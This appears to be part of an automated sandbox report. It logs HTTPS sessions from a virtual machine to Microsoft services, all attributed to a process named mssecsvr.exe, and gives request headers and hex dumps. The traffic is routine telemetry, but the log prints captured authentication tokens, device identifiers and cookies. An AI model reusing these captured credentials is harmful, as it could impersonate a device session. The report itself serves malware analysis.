2022-07-20 13:43:50 UTC	185	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.7	50252	131.253.33.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:50 UTC	181	OUT	GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1 X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-Device-IsBatteryCertified: false X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-Device-IsBatteryEnabled: false X-Device-NetworkType: ethernet X-BM-DTZ: -420 X-BM-FirstEnabledTime: 132061395240662859 X-DeviceID: 0100748C0900F661 X-VoiceActivationOn: false X-Device-AudioCapture: Microphone (High Definition Audio Device) X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAepQSC7V70RKQzUDYxdto5F7nJi/tejnzTXnUrt7Z276crIgxZtR0DXopKx3WjHyQs3H/nynMnLFEfSe96dIpYPKIx/zg33U9yT/NkzQwpHAwhbL00f4t7QNdXHCzZJ3rgUYgGAQ1sQ7WWGSVohAoyUO7craNRCAFpClxzJVKoGKOE/DeV1%2BpmxOwJhIf0vJCjJXTswK5DEWMJJlhUZEEgC8Fnwc6zyVoLxInuJf4N0fzeE0FvA/JhUFqZh88WqLTiBWe6ecxALO8FwDKkS73mCG3a%2Bl97ArxgXCuOFekeWEZ4JaY9uZMME4tojhTXMypWErcDdJju2FPsAO%2Bga/ij8DZgAACHrF8YGXrSYnqAGKRNjXIOPMMfI6EXR3p5CcSVvFQExmSxlluGOYvVEOIh87qTExO77czIYW6MRCBxlArhQWz2AureW457vbbCTAtGsWf9eywFy7eXmUTJq6jOp/bR88s73hi3kH8%2BgwYPbjCBPPvpC2kE1WKkCDuwqA5ThadthYQ84eGA1nQPbYQK4G5ywuwJhOy1xXG9ThSLbm0gL05txbl3CGVQIYkM1L5es132dHmQB9gzBm4TezED46gV3EG37pj1Wj0247sPZyEqjrPZ3cyCeqz3oBtUS3v9IQ1QQmDMfq35Pck3kDCdh79cThvDioO8//Bo4udc0/sLBbPXcjG8GvXFP3zwxWFsWdI0zTmQRl9kHUnnPoOb/RRp6MHOAQ51juABv8JeeUasGip9sSgXuGJVuUnjpKAuy6fdhTkAcCu5%2BWjrbRNGRnTXGHxe/9iLxHmulTYgiAfd/E2CPD03YrEBLxaQu6hptbhYr7KLW4xQxGRHUi2L5mvZ%2BEpUB3vXyCYJlfKqFHA1JJUtiikyXBe42zmgtuV54O1Fa/X5zdCXvUbpBsJXYaytAv6dQP1gE%3D%26p%3D X-Agent-DeviceId: 0100748C0900F661 X-BM-CBT: 1658356973 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 X-Device-isOptin: true Accept-language: en-US, en X-Device-IsEnergyHero: false X-Device-Touch: false X-Device-ClientSession: 70A008FB74BB44DEA21BAF4D010A7506 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Host: www.bing.com Connection: Keep-Alive Cookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
2022-07-20 13:43:50 UTC	187	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Length: 311 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: SUID=M; domain=.bing.com; expires=Thu, 21-Jul-2022 13:43:50 GMT; path=/; HttpOnly Set-Cookie: MUIDB=7E1F7E3AB9E24BF9AA0D8F6664CA6F63; expires=Mon, 14-Aug-2023 13:43:50 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=SID=105F65A2B3F5648D3AB87445B28D651F&mkt=en-us&ui=en-us; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Sat, 20-Jul-2024 13:43:50 GMT; path=/ Set-Cookie: SRCHUID=V=2&GUID=402D5EF4EDBC48BDB3FDD5FA21315270&dmnchg=1; domain=.bing.com; expires=Sat, 20-Jul-2024 13:43:50 GMT; path=/ Set-Cookie: SRCHUSR=DOB=20220720; domain=.bing.com; expires=Sat, 20-Jul-2024 13:43:50 GMT; path=/ Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Sat, 20-Jul-2024 13:43:50 GMT; path=/ Set-Cookie: ANON=A=AD8DAE85E20B2C5504CEBCE2FFFFFFFF; domain=.bing.com; expires=Sat, 20-Jul-2024 13:43:50 GMT; path=/ Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/ Set-Cookie: _SS=SID=105F65A2B3F5648D3AB87445B28D651F; domain=.bing.com; path=/ Set-Cookie: BM-Identity-Error=3002; domain=.bing.com; expires=Wed, 20-Jul-2022 13:48:50 GMT; path=/ X-XSS-Protection: 0 X-Search-ErrorInfo: Error:3002,Message:'FB ID missing' X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: B291D2C87A8A42BF87E0E83F592026A7 Ref B: VIEEDGE1017 Ref C: 2022-07-20T13:43:50Z Date: Wed, 20 Jul 2022 13:43:49 GMT Connection: close
2022-07-20 13:43:50 UTC	189	IN	Data Raw: 7b 22 42 61 73 65 50 61 67 65 22 3a 7b 22 52 65 73 6f 75 72 63 65 73 22 3a 7b 22 53 74 79 6c 65 73 22 3a 7b 22 43 73 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 43 73 73 48 65 61 64 4f 76 65 72 72 69 64 65 22 3a 7b 7d 7d 2c 22 53 63 72 69 70 74 73 22 3a 7b 22 4a 73 48 65 61 64 54 6f 70 6d 6f 73 74 22 3a 7b 7d 2c 22 4a 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 4a 73 45 6e 64 4f 66 43 68 75 6e 6b 22 3a 7b 7d 2c 22 4a 73 42 65 66 6f 72 65 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 4f 6e 4c 6f 61 64 22 3a 7b 7d 7d 7d 7d 2c 22 41 6e 73 77 65 72 73 22 3a 5b 5d 2c 22 43 6f 6e 66 69 67 22 3a 7b 22 50 72 65 66 65 74 63 68 49 6e 74 65 72 76 61 6c 22 3a 37 32 30 2c 22 42 61 Data Ascii: {"BasePage":{"Resources":{"Styles":{"CssHeadNormal":{},"CssHeadOverride":{}},"Scripts":{"JsHeadTopmost":{},"JsHeadNormal":{},"JsEndOfChunk":{},"JsBeforeContent":{},"JsAfterContent":{},"JsAfterOnLoad":{}}}},"Answers":[],"Config":{"PrefetchInterval":720,"Ba

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.7	50268	20.40.129.122	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:50 UTC	189	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T224337Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=d02af8f9ae2a4062a5f73dfd2b34d099&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611518&metered=false&nettype=ethernet&npid=sc-338389&oemName=pcnvlh%2C%20Inc.&oemid=pcnvlh%2C%20Inc.&ossku=Professional&smBiosDm=pcnvlh7%2C1&tl=2&tsu=1611518&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 Cache-Control: no-cache MS-CV: MHl7punZlkWwHexF.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 13:43:50 UTC	191	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2853 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: eFx9WNCiJmTi++n1L/iV3rOgt4klNub5PEUdTDKSId2Lsh92CRCt2B4TBAuIsaqj7OYbx8DBsK4ZZ0YCNipdxrSEVjTIYdxfVem5C6WUKmhEn2bnS+DxIBERb/m+MACXUXGRew7rqpiYusH2JrlomleQzaJ4gq3bJmCcNxyPs3l9Z/MmCnvnYe24P5uul+/X+E6Bchv0pEaGUTDgvki33LDkZEJs9C7CdoVE/4ia19/+4xiD5jKnflniQzan0+SdYcJnG6kFIzkCzyMFqgglgbCoP6PvEOrt1V1ZG2hcwSExwLaC3iIpccRB4xyr9Ttp7W2jEBLk/jUY34sPM7SXrA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 13:43:50 GMT Connection: close
2022-07-20 13:43:50 UTC	196	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.7	50269	20.40.129.122	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:50 UTC	190	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T224338Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=237d31f427f64fcab273c9d352a8988f&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611518&metered=false&nettype=ethernet&npid=sc-280815&oemName=pcnvlh%2C%20Inc.&oemid=pcnvlh%2C%20Inc.&ossku=Professional&smBiosDm=pcnvlh7%2C1&tl=2&tsu=1611518&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 Cache-Control: no-cache MS-CV: MHl7punZlkWwHexF.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 13:43:50 UTC	192	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2851 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: YbZ6WXErVoxv9R6zjx44MEAmRPXAUjIATRainFSbTuf+enR76WYc3o14jEPQl/w8fgQiwJA/vzXE5MpC4ohonKTrvCiAqHDupaEaooO8rTgT0Kb96zMqExDtSojPn3iqVpOpyjItv7Dc1s4uZsNwE9Dh9tpU8y/qQUVs+Yp+cRbpSziKOJpaz7X4D1WnY83zUHGpMsYJea54OPYGfgQzLDff0B2ED4jYRjybnJ5R5AmxArE+LwJySXB8WwQJwyLEvAEUaRTO2TZShgWGVY0H4uiI2PDLyFgctbA8l8kes9+3JNCPf8ErEAWa0eXd22STV+AUbTthrRm8S7ey9D6tSg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 13:43:50 GMT Connection: close
2022-07-20 13:43:50 UTC	193	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.7	50322	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:53 UTC	199	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 34 64 35 34 65 34 31 37 36 33 32 61 35 63 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 44d54e417632a5c3
2022-07-20 13:43:53 UTC	199	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:43:53 UTC	199	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 34 64 35 34 65 34 31 37 36 33 32 61 35 63 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: 44d54e417632a5c3<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:43:53 UTC	200	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 34 64 35 34 65 34 31 37 36 33 32 61 35 63 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 44d54e417632a5c3<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 13:43:53 UTC	200	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:43:53 UTC	200	IN	Data Raw: 4d 53 2d 43 56 3a 20 4e 41 49 77 5a 57 66 74 4f 45 4f 58 6d 33 2b 72 6f 4a 41 59 33 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: NAIwZWftOEOXm3+roJAY3w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49853	13.107.6.254	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:26 UTC	57	OUT	GET /apc/trans.gif?bb329f40cc4523416e23a53b82a219e7 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-US Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: b-ring.msedge.net Connection: Keep-Alive
2022-07-20 13:43:26 UTC	57	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Length: 43 Content-Type: image/gif Last-Modified: Mon, 31 Jan 2022 05:39:43 GMT Accept-Ranges: bytes ETag: 0x0DA2C2C0C44B11E89E6C66FF4F731D7D Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-EndPoint, X-FrontEnd, X-UserHostAddress, X-MSEdge-Ref, X-MachineName Timing-Allow-Origin: * X-Content-Type-Options: nosniff X-Endpoint: AMS04r5f X-Frontend: AFD X-Machinename: AMS04EDGE3209 X-Userhostaddress: 84.17.52.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 786D87B8B12D4F278417280B36685CF7 Ref B: AMS04EDGE3209 Ref C: 2022-07-20T13:43:26Z Date: Wed, 20 Jul 2022 13:43:26 GMT Connection: close
2022-07-20 13:43:26 UTC	58	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.7	50340	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:54 UTC	200	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 65 62 39 30 32 33 31 30 35 31 62 36 62 38 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: beb90231051b6b84
2022-07-20 13:43:54 UTC	200	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:43:54 UTC	201	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 65 62 39 30 32 33 31 30 35 31 62 36 62 38 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: beb90231051b6b84<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:43:54 UTC	202	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 65 62 39 30 32 33 31 30 35 31 62 36 62 38 34 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: beb90231051b6b84
2022-07-20 13:43:54 UTC	202	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
